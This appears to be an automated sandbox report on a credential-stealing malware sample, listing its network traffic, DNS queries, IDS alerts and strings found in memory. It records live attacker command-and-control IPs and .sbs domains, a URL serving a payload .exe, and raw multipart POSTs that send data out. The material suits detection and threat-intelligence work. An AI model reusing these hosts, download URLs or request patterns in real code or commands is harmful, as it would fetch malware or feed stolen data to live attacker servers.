Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAKEHIJJKEGIDHIEHDAFHost: 46.8.231.109Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 45 48 49 4a 4a 4b 45 47 49 44 48 49 45 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 62 32 63 35 36 37 66 38 37 65 66 31 31 34 36 34 37 66 30 33 33 64 38 37 62 63 30 37 31 65 62 33 32 32 65 38 36 65 39 38 31 64 63 34 36 37 31 30 34 31 66 64 66 62 38 35 37 64 33 64 62 61 32 31 64 35 33 34 62 63 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 48 49 4a 4a 4b 45 47 49 44 48 49 45 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 48 49 4a 4a 4b 45 47 49 44 48 49 45 48 44 41 46 2d 2d 0d 0a Data Ascii: ------DAKEHIJJKEGIDHIEHDAFContent-Disposition: form-data; name="token"f4b2c567f87ef114647f033d87bc071eb322e86e981dc4671041fdfb857d3dba21d534bc------DAKEHIJJKEGIDHIEHDAFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DAKEHIJJKEGIDHIEHDAF--

Source: Joe Sandbox View	IP Address: 46.8.231.109 46.8.231.109
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View	ASN Name: FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49699 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49736 -> 147.45.44.104:80

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: isoplethui.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: wickedneatr.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=2BpjhEgMLruZOSk2M3_2ptVQmUTxUc4c7gnsuH9uHG8-1728319406-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 42Host: wickedneatr.sbs

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00404880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlenA,lstrlenA,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

1_2_00404880

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 46.8.231.109Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ldms/a43486128347.exe HTTP/1.1Host: nsdm.cumpar-auto-orice-tip.roCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: time.windows.com
Source: global traffic	DNS traffic detected: DNS query: nsdm.cumpar-auto-orice-tip.ro
Source: global traffic	DNS traffic detected: DNS query: exemplarou.sbs
Source: global traffic	DNS traffic detected: DNS query: frizzettei.sbs
Source: global traffic	DNS traffic detected: DNS query: isoplethui.sbs
Source: global traffic	DNS traffic detected: DNS query: bemuzzeki.sbs
Source: global traffic	DNS traffic detected: DNS query: exilepolsiy.sbs
Source: global traffic	DNS traffic detected: DNS query: laddyirekyi.sbs
Source: global traffic	DNS traffic detected: DNS query: invinjurhey.sbs
Source: global traffic	DNS traffic detected: DNS query: wickedneatr.sbs

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: isoplethui.sbs

Source: MSBuild.exe, 00000001.00000002.1743156168.0000000001347000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109
Source: MSBuild.exe, 00000001.00000002.1743156168.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/
Source: MSBuild.exe, 00000001.00000002.1743156168.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll
Source: MSBuild.exe, 00000001.00000002.1743156168.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/freebl3.dllI
Source: MSBuild.exe, 00000001.00000002.1743156168.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll
Source: MSBuild.exe, 00000001.00000002.1743156168.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll1
Source: MSBuild.exe, 00000001.00000002.1743156168.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll
Source: MSBuild.exe, 00000001.00000002.1743156168.0000000001347000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/nss3.dll
Source: MSBuild.exe, 00000001.00000002.1743156168.0000000001347000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/nss3.dll#
Source: MSBuild.exe, 00000001.00000002.1743156168.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll
Source: MSBuild.exe, 00000001.00000002.1743156168.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll
Source: MSBuild.exe, 00000001.00000002.1743156168.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dll
Source: MSBuild.exe, 00000001.00000002.1743156168.0000000001347000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.1758063366.0000000027637000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.php
Source: MSBuild.exe, 00000001.00000002.1743156168.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.php3
Source: MSBuild.exe, 00000001.00000002.1758063366.0000000027637000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.php44
Source: MSBuild.exe, 00000001.00000002.1743156168.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.php8
Source: MSBuild.exe, 00000001.00000002.1743156168.0000000001347000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpH
Source: MSBuild.exe, 00000001.00000002.1758063366.0000000027637000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpHc
Source: MSBuild.exe, 00000001.00000002.1743156168.0000000001347000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpe
Source: MSBuild.exe, 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpry=----HIDAFHDHCBGDGCBGCGIIdefault-releasetargeting.snapshot
Source: MSBuild.exe, 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109ECGDBFCBdata;
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: MSBuild.exe, 00000001.00000002.1743156168.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe
Source: MSBuild.exe, 00000001.00000002.1743156168.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe)
Source: MSBuild.exe, 00000001.00000002.1743156168.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exeY
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: Amcache.hve.6.dr	String found in binary or memory: http://upx.sf.net
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: MSBuild.exe, MSBuild.exe, 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: MSBuild.exe, 00000001.00000002.1752811394.000000001B592000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.1764067559.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: EGIIIECB.1.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: MSBuild.exe, 00000001.00000002.1758063366.0000000027618000.00000004.00000020.00020000.00000000.sdmp, DGIJECGDGCBKECAKFBGC.1.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: MSBuild.exe, 00000001.00000002.1758063366.0000000027618000.00000004.00000020.00020000.00000000.sdmp, DGIJECGDGCBKECAKFBGC.1.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: EGIIIECB.1.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: EGIIIECB.1.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: EGIIIECB.1.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: MSBuild.exe, 00000001.00000002.1758063366.0000000027618000.00000004.00000020.00020000.00000000.sdmp, DGIJECGDGCBKECAKFBGC.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: MSBuild.exe, 00000001.00000002.1758063366.0000000027618000.00000004.00000020.00020000.00000000.sdmp, DGIJECGDGCBKECAKFBGC.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: EGIIIECB.1.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: EGIIIECB.1.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: EGIIIECB.1.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: DGIJECGDGCBKECAKFBGC.1.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: https://mozilla.org0/
Source: JKKEBGCGHIDHCBFHIDGHCBKEHC.1.dr	String found in binary or memory: https://support.mozilla.org
Source: JKKEBGCGHIDHCBFHIDGHCBKEHC.1.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: JKKEBGCGHIDHCBFHIDGHCBKEHC.1.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK
Source: MSBuild.exe, 00000013.00000002.1624988379.0000000000DA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wickedneatr.sbs/
Source: MSBuild.exe, 00000013.00000002.1624988379.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wickedneatr.sbs/api
Source: MSBuild.exe, 00000013.00000002.1624988379.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wickedneatr.sbs/api-
Source: MSBuild.exe, 00000013.00000002.1624988379.0000000000DA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wickedneatr.sbs/pi5bmw
Source: MSBuild.exe, 00000001.00000002.1758063366.0000000027618000.00000004.00000020.00020000.00000000.sdmp, DGIJECGDGCBKECAKFBGC.1.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: EGIIIECB.1.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: EGIIIECB.1.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: MSBuild.exe, 00000001.00000002.1758063366.0000000027618000.00000004.00000020.00020000.00000000.sdmp, DGIJECGDGCBKECAKFBGC.1.dr	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: JKKEBGCGHIDHCBFHIDGHCBKEHC.1.dr	String found in binary or memory: https://www.mozilla.org
Source: MSBuild.exe, 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: JKKEBGCGHIDHCBFHIDGHCBKEHC.1.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: MSBuild.exe, 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: JKKEBGCGHIDHCBFHIDGHCBKEHC.1.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: MSBuild.exe, 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: JKKEBGCGHIDHCBFHIDGHCBKEHC.1.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: JKKEBGCGHIDHCBFHIDGHCBKEHC.1.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: MSBuild.exe, 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: JKKEBGCGHIDHCBFHIDGHCBKEHC.1.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: MSBuild.exe, 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: MSBuild.exe, 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/vRm9ybXxwbmxjY21vamNtZW9obHBnZ21mbmJiaWFwa21ibGlvYnwxfDB8MHx

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 64639 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
